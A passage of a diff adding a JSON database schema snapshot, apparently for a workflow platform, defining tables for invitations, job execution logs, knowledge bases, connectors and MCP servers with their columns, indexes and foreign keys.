"notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workflow_id": { + "name": "workflow_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "owner_execution_id": { + "name": "owner_execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "size": { + "name": "size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "execution_large_values_owner_execution_id_idx": { + "name": "execution_large_values_owner_execution_id_idx", + "columns": [ + { + "expression": "owner_execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "execution_large_values_cleanup_idx": { + "name": "execution_large_values_cleanup_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"execution_large_values\".\"deleted_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "execution_large_values_tombstone_cleanup_idx": { + "name": "execution_large_values_tombstone_cleanup_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"execution_large_values\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "execution_large_values_workspace_id_workspace_id_fk": { + "name": "execution_large_values_workspace_id_workspace_id_fk", + "tableFrom": "execution_large_values", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "execution_large_values_workflow_id_workflow_id_fk": { + "name": "execution_large_values_workflow_id_workflow_id_fk", + "tableFrom": "execution_large_values", + "tableTo": "workflow", + "columnsFrom": ["workflow_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.idempotency_key": { + "name": "idempotency_key", + "schema": "", + "columns": { + "key": { + "name": "key", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "result": { + "name": "result", + "type": "json", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "idempotency_key_created_at_idx": { + "name": "idempotency_key_created_at_idx", + "columns": [ + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.invitation": { + "name": "invitation", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "invitation_kind", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'organization'" + }, + "email": { + "name": "email", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "inviter_id": { + "name": "inviter_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "organization_id": { + "name": "organization_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "membership_intent": { + "name": "membership_intent", + "type": "invitation_membership_intent", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'internal'" + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "invitation_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "token": { + "name": "token", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "invitation_email_idx": { + "name": "invitation_email_idx", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "invitation_organization_id_idx": { + "name": "invitation_organization_id_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "invitation_status_idx": { + "name": "invitation_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "invitation_pending_email_org_unique": { + "name": "invitation_pending_email_org_unique", + "columns": [ + { + "expression": "email", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"invitation\".\"status\" = 'pending' AND \"invitation\".\"organization_id\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "invitation_inviter_id_user_id_fk": { + "name": "invitation_inviter_id_user_id_fk", + "tableFrom": "invitation", + "tableTo": "user", + "columnsFrom": ["inviter_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "invitation_organization_id_organization_id_fk": { + "name": "invitation_organization_id_organization_id_fk", + "tableFrom": "invitation", + "tableTo": "organization", + "columnsFrom": ["organization_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "invitation_token_unique": { + "name": "invitation_token_unique", + "nullsNotDistinct": false, + "columns": ["token"] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.invitation_workspace_grant": { + "name": "invitation_workspace_grant", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "invitation_id": { + "name": "invitation_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "permission": { + "name": "permission", + "type": "permission_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "invitation_workspace_grant_unique": { + "name": "invitation_workspace_grant_unique", + "columns": [ + { + "expression": "invitation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "invitation_workspace_grant_workspace_id_idx": { + "name": "invitation_workspace_grant_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "invitation_workspace_grant_invitation_id_invitation_id_fk": { + "name": "invitation_workspace_grant_invitation_id_invitation_id_fk", + "tableFrom": "invitation_workspace_grant", + "tableTo": "invitation", + "columnsFrom": ["invitation_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "invitation_workspace_grant_workspace_id_workspace_id_fk": { + "name": "invitation_workspace_grant_workspace_id_workspace_id_fk", + "tableFrom": "invitation_workspace_grant", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.job_execution_logs": { + "name": "job_execution_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "schedule_id": { + "name": "schedule_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "execution_id": { + "name": "execution_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "level": { + "name": "level", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "trigger": { + "name": "trigger", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "ended_at": { + "name": "ended_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "total_duration_ms": { + "name": "total_duration_ms", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "execution_data": { + "name": "execution_data", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'" + }, + "cost": { + "name": "cost", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "job_execution_logs_schedule_id_idx": { + "name": "job_execution_logs_schedule_id_idx", + "columns": [ + { + "expression": "schedule_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "job_execution_logs_workspace_started_at_idx": { + "name": "job_execution_logs_workspace_started_at_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "job_execution_logs_workspace_ended_at_id_idx": { + "name": "job_execution_logs_workspace_ended_at_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "date_trunc('milliseconds', \"ended_at\")", + "asc": true, + "isExpression": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "job_execution_logs_execution_id_unique": { + "name": "job_execution_logs_execution_id_unique", + "columns": [ + { + "expression": "execution_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "job_execution_logs_trigger_idx": { + "name": "job_execution_logs_trigger_idx", + "columns": [ + { + "expression": "trigger", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "job_execution_logs_schedule_id_workflow_schedule_id_fk": { + "name": "job_execution_logs_schedule_id_workflow_schedule_id_fk", + "tableFrom": "job_execution_logs", + "tableTo": "workflow_schedule", + "columnsFrom": ["schedule_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + }, + "job_execution_logs_workspace_id_workspace_id_fk": { + "name": "job_execution_logs_workspace_id_workspace_id_fk", + "tableFrom": "job_execution_logs", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.knowledge_base": { + "name": "knowledge_base", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "token_count": { + "name": "token_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "embedding_model": { + "name": "embedding_model", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'text-embedding-3-small'" + }, + "embedding_dimension": { + "name": "embedding_dimension", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1536 + }, + "chunking_config": { + "name": "chunking_config", + "type": "json", + "primaryKey": false, + "notNull": true, + "default": "'{\"maxSize\": 1024, \"minSize\": 1, \"overlap\": 200}'" + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "kb_user_id_idx": { + "name": "kb_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "kb_workspace_id_idx": { + "name": "kb_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "kb_user_workspace_idx": { + "name": "kb_user_workspace_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "kb_deleted_at_idx": { + "name": "kb_deleted_at_idx", + "columns": [ + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "kb_workspace_deleted_partial_idx": { + "name": "kb_workspace_deleted_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"knowledge_base\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "kb_workspace_name_active_unique": { + "name": "kb_workspace_name_active_unique", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"knowledge_base\".\"deleted_at\" IS NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "knowledge_base_user_id_user_id_fk": { + "name": "knowledge_base_user_id_user_id_fk", + "tableFrom": "knowledge_base", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "knowledge_base_workspace_id_workspace_id_fk": { + "name": "knowledge_base_workspace_id_workspace_id_fk", + "tableFrom": "knowledge_base", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.knowledge_base_tag_definitions": { + "name": "knowledge_base_tag_definitions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "knowledge_base_id": { + "name": "knowledge_base_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tag_slot": { + "name": "tag_slot", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "display_name": { + "name": "display_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "field_type": { + "name": "field_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'text'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "kb_tag_definitions_kb_slot_idx": { + "name": "kb_tag_definitions_kb_slot_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "tag_slot", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "kb_tag_definitions_kb_display_name_idx": { + "name": "kb_tag_definitions_kb_display_name_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "display_name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "kb_tag_definitions_kb_id_idx": { + "name": "kb_tag_definitions_kb_id_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "knowledge_base_tag_definitions_knowledge_base_id_knowledge_base_id_fk": { + "name": "knowledge_base_tag_definitions_knowledge_base_id_knowledge_base_id_fk", + "tableFrom": "knowledge_base_tag_definitions", + "tableTo": "knowledge_base", + "columnsFrom": ["knowledge_base_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.knowledge_connector": { + "name": "knowledge_connector", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "knowledge_base_id": { + "name": "knowledge_base_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "connector_type": { + "name": "connector_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "credential_id": { + "name": "credential_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "encrypted_api_key": { + "name": "encrypted_api_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_config": { + "name": "source_config", + "type": "json", + "primaryKey": false, + "notNull": true + }, + "sync_mode": { + "name": "sync_mode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'full'" + }, + "sync_interval_minutes": { + "name": "sync_interval_minutes", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1440 + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "last_sync_at": { + "name": "last_sync_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_sync_error": { + "name": "last_sync_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_sync_doc_count": { + "name": "last_sync_doc_count", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "next_sync_at": { + "name": "next_sync_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "consecutive_failures": { + "name": "consecutive_failures", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "kc_knowledge_base_id_idx": { + "name": "kc_knowledge_base_id_idx", + "columns": [ + { + "expression": "knowledge_base_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "kc_status_next_sync_idx": { + "name": "kc_status_next_sync_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "next_sync_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "kc_archived_at_partial_idx": { + "name": "kc_archived_at_partial_idx", + "columns": [ + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"knowledge_connector\".\"archived_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "kc_deleted_at_partial_idx": { + "name": "kc_deleted_at_partial_idx", + "columns": [ + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"knowledge_connector\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "knowledge_connector_knowledge_base_id_knowledge_base_id_fk": { + "name": "knowledge_connector_knowledge_base_id_knowledge_base_id_fk", + "tableFrom": "knowledge_connector", + "tableTo": "knowledge_base", + "columnsFrom": ["knowledge_base_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.knowledge_connector_sync_log": { + "name": "knowledge_connector_sync_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "connector_id": { + "name": "connector_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "started_at": { + "name": "started_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "completed_at": { + "name": "completed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "docs_added": { + "name": "docs_added", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "docs_updated": { + "name": "docs_updated", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "docs_deleted": { + "name": "docs_deleted", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "docs_unchanged": { + "name": "docs_unchanged", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "docs_failed": { + "name": "docs_failed", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "error_message": { + "name": "error_message", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "kcsl_connector_id_idx": { + "name": "kcsl_connector_id_idx", + "columns": [ + { + "expression": "connector_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "knowledge_connector_sync_log_connector_id_knowledge_connector_id_fk": { + "name": "knowledge_connector_sync_log_connector_id_knowledge_connector_id_fk", + "tableFrom": "knowledge_connector_sync_log", + "tableTo": "knowledge_connector", + "columnsFrom": ["connector_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mcp_server_oauth": { + "name": "mcp_server_oauth", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "mcp_server_id": { + "name": "mcp_server_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "client_information": { + "name": "client_information", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "tokens": { + "name": "tokens", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "code_verifier": { + "name": "code_verifier", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "state": { + "name": "state", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "state_created_at": { + "name": "state_created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "last_refreshed_at": { + "name": "last_refreshed_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "mcp_server_oauth_server_unique": { + "name": "mcp_server_oauth_server_unique", + "columns": [ + { + "expression": "mcp_server_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mcp_server_oauth_state_idx": { + "name": "mcp_server_oauth_state_idx", + "columns": [ + { + "expression": "state", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mcp_server_oauth_mcp_server_id_mcp_servers_id_fk": { + "name": "mcp_server_oauth_mcp_server_id_mcp_servers_id_fk", + "tableFrom": "mcp_server_oauth", + "tableTo": "mcp_servers", + "columnsFrom": ["mcp_server_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mcp_server_oauth_user_id_user_id_fk": { + "name": "mcp_server_oauth_user_id_user_id_fk", + "tableFrom": "mcp_server_oauth", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + }, + "mcp_server_oauth_workspace_id_workspace_id_fk": { + "name": "mcp_server_oauth_workspace_id_workspace_id_fk", + "tableFrom": "mcp_server_oauth", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mcp_servers": { + "name": "mcp_servers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspace_id": { + "name": "workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "transport": { + "name": "transport", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "url": { + "name": "url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "auth_type": { + "name": "auth_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'headers'" + }, + "oauth_client_id": { + "name": "oauth_client_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "oauth_client_secret": { + "name": "oauth_client_secret", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "headers": { + "name": "headers", + "type": "json", + "primaryKey": false, + "notNull": false, + "default": "'{}'" + }, + "timeout": { + "name": "timeout", + "type": "integer", + "primaryKey": false, + "notNull": false, + "default": 30000 + }, + "retries": { + "name": "retries", + "type": "integer", + "primaryKey": false, + "notNull": false, + "default": 3 + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "last_connected": { + "name": "last_connected", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "connection_status": { + "name": "connection_status", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'disconnected'" + }, + "last_error": { + "name": "last_error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status_config": { + "name": "status_config", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'{}'" + }, + "tool_count": { + "name": "tool_count", + "type": "integer", + "primaryKey": false, + "notNull": false, + "default": 0 + }, + "last_tools_refresh": { + "name": "last_tools_refresh", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "total_requests": { + "name": "total_requests", + "type": "integer", + "primaryKey": false, + "notNull": false, + "default": 0 + }, + "last_used": { + "name": "last_used", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "mcp_servers_workspace_enabled_idx": { + "name": "mcp_servers_workspace_enabled_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "enabled", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mcp_servers_workspace_deleted_partial_idx": { + "name": "mcp_servers_workspace_deleted_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"mcp_servers\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + 